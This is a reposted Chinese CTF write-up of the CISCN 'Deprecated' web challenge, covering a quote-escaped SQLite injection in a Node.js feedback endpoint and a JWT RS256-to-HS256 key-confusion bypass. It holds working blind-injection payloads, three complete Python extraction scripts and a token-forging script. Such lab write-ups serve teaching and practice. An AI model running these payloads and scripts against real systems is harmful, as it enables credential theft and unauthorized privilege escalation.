文章总结: 本文详细分析了一个CTF题目中的SQLite注入漏洞利用过程。核心难点在于单双引号被转义且过滤了char、unicode等函数,导致无法直接构造字符串。作者通过反斜杠突破引号,利用abs(0x8000000000000000)进行布尔盲注,并提出了三种构造A-F字符的方案:注册特定用户、使用SQL原生表达式或二次hex。文章提供了完整的爆破脚本,具有较高的实战参考价值。 综合评分: 85 文章分类: WEB安全,漏洞分析,实战经验
比较套路化的sqlite注入——Deprecated
原创
珂字辈 珂字辈
珂技知识分享
2026年8月26日 09:47 湖北
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
题目
https://github.com/BK-Sec/2025CISCN/tree/main/Web/Deprecated
环境
https://github.com/btop251/ciscn-2025-Deprecated
比较套路化,routes/index.js中的/feedback接口存在SQL注入,使用了sqlite数据库。
const badwordCheck= (data) => { data=data.toLowerCase(); let badwords = /system|blob|exec|date|rand|char|regexp|unicode|load/g; return !!data.match(badwords);};......router.post('/feedback', (req,res) => { try{ let message=req.body.message.replace(/'/g,"\\'").replace(/"/g,"\\\""); if(badwordCheck(message)){ return res.send('Forbidden word in message.'); } db.sendFeedback(message); }catch(err){ throw (err.toString()); } return res.send('OK');});
可以看到,单双引号都被转义,有一堆方法过滤,跟进到utils/DButil.js
sendFeedback(message){ db.prepare(`INSERT INTO messages VALUES('${message}')`).run(); }
显然可以用反斜杠突破前面的单引号,注释突破后面的单引号,这里只能基于报错的布尔盲注,在sqlite中就是经典的abs(0x8000000000000000)。因此基础payload就是这样的。
POST /feedback HTTP/1.1Host: myweb:8081Content-Length: 236Content-Type: application/x-www-form-urlencoded message=test\'-(case when 1=2 then 1 else abs(0x8000000000000000) end)) --
如何注用户名密码呢?由于关键的char和unicode被过滤掉了,只能使用hex,这样等同于hex(‘a’),也就是61。
hex(substr((select+group_concat(username)+from+users),1,1))
如果是mysql,后面取0-ff范围比较即可。但是sqlite的类型检测非常严格,hex(‘a’)得到的是text 61,无法跟int 61比较。
而这题我们又无法使用引号,这使得我们无法得到a字符串,在mysql中还有0x61=’a’的办法,在sqlite中也不行。
聪明的人会想到强制类型转化,我可以将text 61转成int 61。
CAST(hex(substr((select+group_concat(username)+from+users),1,1))+AS+INTEGER)
这样确实可以,但是也仅限一部分hex后没有A-F的字符,比如hex(‘m’)就会丢失一位。
无奈去补sqlite的知识,发现这也是个以前考过的tips,就是考如何构造A-F的字符串,其中CDE是可以裸构造出来的。
https://www.anquanke.com/post/id/222625
table['C'] = 'trim(hex(typeof(.1)),12567)' table['D'] = 'trim(hex(0xffffffffffffffff),123)' table['E'] = 'trim(hex(0.1),1230)'
因为过滤函数的不同,我们可以依葫芦画瓢,构造AF。
table['A'] = 'substr(upper(typeof(.1)),3,1)' table['F'] = 'substr(upper(cast(1e999 as text)),3,1)'
最后B因为过滤了blob导致很难构造出来。和AI讨论了很多方案,最合理的是。
table['B'] = 'substr((select group_concat(sql)from sqlite_master),10,1)'
它会获取到第一条SQL语句CREATE TABLE,里面有字符串B。
除此之外,我们还可以利用hex([0-9A-F])没有A-F这一特性,进行二次hex。
hex(substr(hex(substr((select+group_concat(username)+from+users),1,1)),1,1))=3||6
但这样会损失爆破效率。
当然,更简单的办法是直接注册一个用户名为ABCDEF的账户,这样就能轻松用substr获取想要的A-F。
PS:扩展一下,如果这题过滤了substr,注册6个账户就行。
让AI帮我们写出三种不同方案的爆破脚本
1,注册ABCDEF账户方案
import stringimport requests TARGET_URL = "http://myweb:8081/feedback" # 可用的爆破字符集CHARSET = string.ascii_letters + string.digits + "{},." # 通过已知 password (123456) 精准定位用户名是 ABCDEF 的记录HEX_MAP = { "0": "0", "1": "1", "2": "2", "3": "3", "4": "4", "5": "5", "6": "6", "7": "7", "8": "8", "9": "9", "A": "substr((select username from users where cast(password as INTEGER)=123456),1,1)", "B": "substr((select username from users where cast(password as INTEGER)=123456),2,1)", "C": "substr((select username from users where cast(password as INTEGER)=123456),3,1)", "D": "substr((select username from users where cast(password as INTEGER)=123456),4,1)", "E": "substr((select username from users where cast(password as INTEGER)=123456),5,1)", "F": "substr((select username from users where cast(password as INTEGER)=123456),6,1)",} def build_hex_expression(char): """将字符转换成大写 HEX,并用 || 拼接(如 'j' -> '6A' -> 6||A)""" hex_str = char.encode().hex().upper() parts = [HEX_MAP[c] for c in hex_str] return "||".join(parts) def check_char(pos, char): target_hex_expr = build_hex_expression(char) # 构造与你原本格式完全一致的 Payload payload = ( f"test\\'-(case/*aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa*/" f"when hex(substr((select group_concat(password) from users),{pos},1))={target_hex_expr}" f" then 1 else abs(0x8000000000000000) end)) -- " ) #print(payload) data = {"message": payload} headers = {"Content-Type": "application/x-www-form-urlencoded"} try: response = requests.post(TARGET_URL, data=data, headers=headers, timeout=5) # 依据:条件成立时 SQL 正常执行,返回 OK return response.status_code == 200 and "OK" in response.text except requests.exceptions.RequestException: return False def dump_usernames(): result = "" print("[+] Starting dump using password=123456 anchor mapping...") pos = 1 while True: found = False for char in CHARSET: if check_char(pos, char): result += char print( f"[+] Pos {pos}: '{char}' (HEX: {char.encode().hex().upper()}) -> Current Result: {result}" ) found = True break if not found: print(f"\n[+] Extracted usernames: {result}") break pos += 1 if __name__ == "__main__": dump_usernames()
2,特殊手法构造A-F
import stringimport requests TARGET_URL = "http://myweb:8081/feedback" # 可用的爆破字符集CHARSET = string.ascii_letters + string.digits + "{},." # 1. 纯原生 SQL 表达式构造 A-F(无需单引号、无需注册特定账号、绕过 blob 过滤)SQL_A = "substr(upper(typeof(.1)),3,1)" # typeof(.1) -> 'real' -> 'REAL' -> 提取 'A'SQL_B = "substr((select group_concat(sql)from sqlite_master),10,1)" # 'CREATE TABLE...' -> 提取 'B'SQL_C = "trim(hex(typeof(.1)),12567)" # typeof(.1) -> 'real' -> '7265616C' -> 提取 'C'SQL_D = ( "trim(hex(0xffffffffffffffff),123)" # -1 -> HEX -> '2D31' -> 提取 'D')SQL_E = "trim(hex(0.1),1230)" # '0.1' -> HEX -> '302E31' -> 提取 'E'SQL_F = ( "substr(upper(cast(1e999 as text)),3,1)" # '1e999' -> 'Infinity' -> 'INFINITY' -> 提取 'F') # 2. 建立 HEX 字符映射字典HEX_MAP = { "0": "0", "1": "1", "2": "2", "3": "3", "4": "4", "5": "5", "6": "6", "7": "7", "8": "8", "9": "9", "A": SQL_A, "B": SQL_B, "C": SQL_C, "D": SQL_D, "E": SQL_E, "F": SQL_F,} def build_hex_expression(char): """将字符转换为大写 HEX,并用 || 拼接为 SQL 表达式(如 'j' -> '6A' -> 6||SQL_A)""" hex_str = char.encode().hex().upper() parts = [HEX_MAP[c] for c in hex_str] return "||".join(parts) def check_char(pos, char): target_hex_expr = build_hex_expression(char) # 构造无需任何单引号的条件盲注 Payload payload = ( f"test\\'-(case/*aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa*/" f"when hex(substr((select group_concat(username) from users),{pos},1))={target_hex_expr}" f" then 1 else abs(0x8000000000000000) end)) -- " ) data = {"message": payload} headers = {"Content-Type": "application/x-www-form-urlencoded"} try: response = requests.post(TARGET_URL, data=data, headers=headers, timeout=5) # 条件成立时正常返回 200 OK return response.status_code == 200 and "OK" in response.text except requests.exceptions.RequestException: return False def dump_data(): result = "" print("[+] Starting dump using pure native SQL expression mapping...") pos = 1 while True: found = False for char in CHARSET: if check_char(pos, char): result += char print( f"[+] Pos {pos}: '{char}' (HEX: {char.encode().hex().upper()}) -> Current Result: {result}" ) found = True break if not found: print(f"\n[+] Extracted result: {result}") break pos += 1 if __name__ == "__main__": dump_data()
3,二次hex规避A-F
import stringimport requests TARGET_URL = "http://myweb:8081/feedback" # 可用的爆破字符集CHARSET = string.ascii_letters + string.digits + "{},.-_!" # 16进制字符 (0-9, A-F) 对应的二次 HEX 数字表达映射DOUBLE_HEX_MAP = { "0": "3||0", "1": "3||1", "2": "3||2", "3": "3||3", "4": "3||4", "5": "3||5", "6": "3||6", "7": "3||7", "8": "3||8", "9": "3||9", "A": "4||1", "B": "4||2", "C": "4||3", "D": "4||4", "E": "4||5", "F": "4||6",} def check_hex_char(target_pos, hex_char_idx, hex_char): """验证目标字段第 target_pos 个字符的 HEX 编码中的第 hex_char_idx 位是否为 hex_char""" target_double_hex = DOUBLE_HEX_MAP[hex_char] payload = ( f"test\\'-(case/*aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa*/" f"when hex(substr(hex(substr((select group_concat(username) from users),{target_pos},1)),{hex_char_idx},1))={target_double_hex}" f" then 1 else abs(0x8000000000000000) end)) -- " ) data = {"message": payload} headers = {"Content-Type": "application/x-www-form-urlencoded"} try: response = requests.post(TARGET_URL, data=data, headers=headers, timeout=5) return response.status_code == 200 and "OK" in response.text except requests.exceptions.RequestException: return False def dump_data(): result = "" print("[+] Starting dump using Double-HEX technique...") pos = 1 while True: # 1. 爆破第一个 HEX 字符(如 '6') first_hex = None for h in DOUBLE_HEX_MAP.keys(): if check_hex_char(pos, 1, h): first_hex = h break if not first_hex: print(f"\n[+] Extraction complete! Final result: {result}") break # 2. 爆破第二个 HEX 字符(如 'A') second_hex = None for h in DOUBLE_HEX_MAP.keys(): if check_hex_char(pos, 2, h): second_hex = h break if not second_hex: break # 3. 将组合出的 HEX 还原为原始字符 ('6A' -> 'j') char_hex = first_hex + second_hex char = bytes.fromhex(char_hex).decode("latin-1", errors="ignore") result += char print( f"[+] Pos {pos}: HEX={char_hex} -> '{char}' | Current: {result}" ) pos += 1 if __name__ == "__main__": dump_data()
得到admin/114514,登录之后有公钥和提示。
这就涉及checkfile接口,需要File-Priviledged-User权限。
其实就是需要篡改jwt,登录后的jwt属性如下。
很常见的RS256->HS256算法混淆漏洞,脚本如下。
import base64import hashlibimport hmacimport json
PUBLIC_KEY = """-----BEGIN PUBLIC KEY-----MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAydTyE7rE8M2ZyKq3QYFd8203XcTzU5UIDD/1MK4O+gGvwjvofz18jm8q++CPuKBj4UZUCvdqXXgV6fm6duNrZG2xQLES6hlaye7vJTquHsNoO5o5KjiufTeKm3mFmCTiqb6fQC386dH56iB+jso5n2a2xl4VL8+IFaoJVyWfht0EGdsQ6zpE2GrWqFRIeLz+CNU6+6Vx7SGA9H+VwWSS1+BI+bk/PJSS+0DE4FMctCx8OrT+y/SSRf/bIFbzNHRaZvAsIOC0AHtPVlxngBVan3YiXGpNr9T9uvespX74nYSQDy9VqUQnCNa+y9ceoV88wO7vp/XFT1Nndk+dUfAeIwIDAQAB-----END PUBLIC KEY-----"""
OLD_TOKEN = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicHJpdmlsZWRnZSI6IlRlbXAgVXNlciIsImlhdCI6MTc4NzY1MjIxNX0.Lxg7ibp1ZH6lHxIfLNCWY-SkJeg3cgRBuHyQg0TIK3K3Paei3gKhfUQ4W07WEF5TC0rJ9Lf72W8rB-wwdHWWagJ251oRkJdVDgiXkGkVLDxXqcpMTkLRVzZaYF0PlWcNo0AxSgcQUaBpBNJCzw0WHpByaxtkgvo0pXM4J-SyfSHKKeuMvCcJCLaEBS5q7YLc-UHD0IT8EA5Jpd8lMNTKHgeVVL8x-hnn2I5CGapdVZecrydtRRaRUrHDqrS9Gb2oYBcoyGUr3dDNJw8jjgCVVBmkKQdtaJxc8s9sOPVMS5bx7ab6yTxQD228uEuqNND0LPfBWSBnnITby8S7VPG7RA"
def b64url_encode(data: bytes) -> str: return base64.urlsafe_b64encode(data).decode("utf-8").rstrip("=")
# 1. 强制将 Header 算法改为 HS256header = {"alg": "HS256", "typ": "JWT"}
# 2. 修改 Payload 中的权限字段payload_b64 = OLD_TOKEN.split(".")[1]payload_b64 += "=" * ((4 - len(payload_b64) % 4) % 4)payload = json.loads(base64.urlsafe_b64decode(payload_b64).decode())payload["priviledge"] = "File-Priviledged-User"
# 3. 进行无空格无换行的 Base64URL 编码header_str = b64url_encode( json.dumps(header, separators=(",", ":")).encode("utf-8"))payload_str = b64url_encode( json.dumps(payload, separators=(",", ":")).encode("utf-8"))signing_input = f"{header_str}.{payload_str}".encode("utf-8")
# 4. 强制使用公钥文本做 HMAC-SHA256 签名signature = hmac.new( PUBLIC_KEY.encode("utf-8"), signing_input, hashlib.sha256).digest()signature_str = b64url_encode(signature)
# 5. 输出伪造的 Tokennew_token = f"{header_str}.{payload_str}.{signature_str}"print(new_token)
最终获取flag
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:珂技知识分享 珂字辈 珂字辈《比较套路化的sqlite注入——Deprecated》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论